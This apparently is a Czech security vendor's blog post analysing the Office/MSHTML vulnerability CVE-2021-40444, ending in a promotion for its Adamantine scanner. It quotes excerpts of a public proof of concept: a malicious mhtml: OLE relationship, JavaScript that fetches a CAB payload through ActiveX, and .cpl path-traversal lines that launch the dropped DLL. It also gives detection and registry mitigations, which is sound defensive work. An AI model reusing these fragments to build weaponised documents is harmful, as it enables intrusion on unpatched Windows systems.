Adamantine Blog post
#kyberbezpečnost#cve#windows#office

Obecný popis zranitelnosti CVE-2021-40444

Lukáš Čižmar, Pavel Procházka
9/17/2021

Obecný popis zranitelnosti CVE-2021-40444

Dne 7. září 2021 jsme zachytili informaci o nové 0-day zranitelnosti zneužívanou při sofistikovaných útocích na vybrané společnosti provozující MS Windows v kombinaci s MS Office (včetně 365). Tato chyba zneužívá zranitelnosti v MSHTML (engine Internet Exploreru) a umožňuje spuštění payloadu (Remote Code Execution).

Potenciální rizika

Při zneužití této zranitelnosti může útočník získat kontrolu nad infikovaným strojem, ale také nad celou sítí. V kombinaci se zranitelnostmi typu privilege escalation může dojít k úplnému ovládnutí stroje bez ohledu na další prvky ochrany (antiviry, zabezpečení účtů, některé EDR, apod.).

Analýza vektoru útoku

Útok kombinuje dvě zranitelnosti:

  1. vzdálené spuštění kódu v produktech kancelářského balík MS Office s využitím OLE objektů.
  2. opuštění sandboxu MSHTML

Zdrojem zranitelnosti je soubor typu například .docx, .xlsx, .pptx apod. Veřejně dostupná ukázka zranitelnost je ke stažení na adrese https://github.com/Udyz/CVE-2021-40444-Sample.

Docx soubor (v našem případě poc.docx) je ve skutečnosti zip soubor, který lze rozbalit běžně dostupnými nástroji, například:

$ unzip poc.docx

Struktura rozbaleného souboru vypadá následovně.

├── [Content_Types].xml
├── docProps
│   ├── app.xml
│   └── core.xml
├── _rels
└── word
    ├── document.xml
    ├── fontTable.xml
    ├── media
    │   └── image1.wmf
    ├── _rels
    │   └── document.xml.rels
    ├── settings.xml
    ├── styles.xml
    ├── theme
    │   └── theme1.xml
    └── webSettings.xml

Podíváme-li se na obsah podrobněji, dokážeme snadno identifikovat potenciálně problémové soubory.

Pro nás zajímavý je soubor word/_rels/document.xml.rels, který obsahuje zdroje dat (obrázky, fonty, vzhledy apod.). Mezi tyto zdroje dat patří také OLE objekty. Tyto objekty mohou být načítány z externích zdrojů - například z internetu. V případě této zranitelnost je načten vzdálený HTML soubor s využitím MSHTML. Konkrétně se jedná o tuto položku:

<Relationship
  Id="rId5"
  Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"
  Target="mhtml:http://localhost/poc.html!x-usc:http://localhost/poc.html"
  TargetMode="External"
/>

Při načítání HTML souboru dochází k aktivaci MSHTML enginu díky použití pseudo-protokolu mhtml:. Z dané adresy vidíme, že zde útočník pro jednoduchost využívá localhost, v praxi bychom zde pravděpodobně viděli veřejnou adresu v Internetu (IP adresa nebo doména).

MSHTML Implementace JavaScriptu umožňuje ve výchozím nastavení volat ActiveX prvky, díky tomu už je samotný průnik do systému poměrně přímočarý.

Nebudeme detailněji probírat kód ukážeme jen klíčové úseky. Poznamenejme, že HTML kód z GitHubu je obfuskovaný. Pro jednoduchost uvádíme stěžejní fragmenty kódu:

// ...
// totéž co window.document.crateElement("iframe");
var range = then["call"](x, "iframe");

// vytvoření ActiveX objekt HtmlFile
var iedom = new ActiveXObject("htmlfile");

// PL$41 je objekt vytvořený v rámci iframu
var PL$41 = then["call"](model["Script"]["document"], "object");
// Nastaví se mu HTML atribut codebase s payload-url
PL$41["setAttribute"]("codebase", "http://127.0.0.1/calc.cab#version=5,0,0,0");

PL$41["setAttribute"]("classid", "CLSID:edbc374c-5730-432a-b5b8-de94f0b57217");
PL$22["call"](model["Script"]["document"]["body"], PL$41);


// pokus o spuštění extrahovaného souboru souboru calc.inf
// pomocí Control Panelu (.cpl) z nejčastějších umístění
iedom["Script"]["location"] = ".cpl:../../../AppData/Local/Temp/Low/calc.inf";
rp_test["Script"]["location"] = ".cpl:../../../AppData/Local/Temp/calc.inf";
wmp_test["Script"]["location"] = ".cpl:../../../../AppData/Local/Temp/Low/calc.inf";
doc["Script"]["location"] = ".cpl:../../../../AppData/Local/Temp/calc.inf";
a["Script"]["location"] = ".cpl:../../../../../Temp/Low/calc.inf";
doc["Script"]["location"] = ".cpl:../../../../../Temp/calc.inf";
doc["Script"]["location"] = ".cpl:../../Low/calc.inf";
doc["Script"]["location"] = ".cpl:../../calc.inf";

Protože útočník dopředu nikdy neví, do jakého adresáře se CAB soubor rozbalí, zkouší nejběžnější známá adresáře. Tečková notace v cestě s největší pravděpodobností realizuje opuštění sandboxu a spuštění INF soubor v rámci 'fyzického' systému.

Soubor CAB v tomto případě obsahuje INF soubor, který je ve skutečnosti DLL knihovnou (to znamená, soubor DLL byl pouze přejmenován na INF). Obsahem DLL knihovny může být klientská část malware, stejně jako ransomware.

Možnosti detekce

Detekce infikovaných souborů je aktuálně postavena na faktu, že dokument word/_rels/document.xml.rels obsahuje v atributu Target pseudo-protokol mhtml: a může být využit jako pattern.

Předcházení potenciálnímu útoku

V tuto chvíli již společnost Microsft poskytuje bezpečnostní záplatu, kterou by administrátoři měli neprodleně nainstalovat. V případě, že z nějakého důvodu není možné záplatu nainstalovat, je možné snížit riziko infekce nastavením příslušných klíčů systémových registrů:

Windows Registry Editor Version 5.00


[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]
"1001"=dword:00000003
"1004"=dword:00000003


[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1]
"1001"=dword:00000003
"1004"=dword:00000003


[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]
"1001"=dword:00000003
"1004"=dword:00000003


[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]
"1001"=dword:00000003
"1004"=dword:00000003

Kód výše uložte do souboru s příponou .reg a spusťte.

Detekce v Adamantine

Adamantine v aktuální verzi zvládá detekovat jak celý .docx obsahující popsané CVE

/adamantine.sh /tmp/poc.docx
{"viruses":["XML:CVE-2021-40444-A [Expl]||mult;XML:CVE-2021-40444-C [Expl]||mult"],"filename":"poc.docx"}

tak také využívaný payload:

./adamantine.sh /tmp/calc.cab
{"viruses":["Win.Trojan.MSShellcode-7","Win32:ShellCode-DE [Trj]||mult;Win32:Swrort-S [Trj]|Always|mult;Win32:HacktoolX-gen [Trj]|PPH00012EA9138F000B490D64330010752A43A10022E7744467|agdp;Win32:HacktoolX-gen [Trj]|PPH00012EA9138F0005411406CC00135E9DACD70022E7744467|agdp;Win32:HacktoolX-gen [Trj]|PPH0009427D2F3C000DB2E5094200135E9DACD70022E7744467|agdp;Win32:MalwareX-gen [Trj]|PPH0000E82ED80000012EA9138F000EFB99ED8F00135E9DACD7|agdp"],"filename":"calc.cab"}

Antivirová kontrola nové generace

Produkt Adamantine zvyšuje ochranu před únikem citlivých údajů Vašich zákazníků.

Kontaktujte nás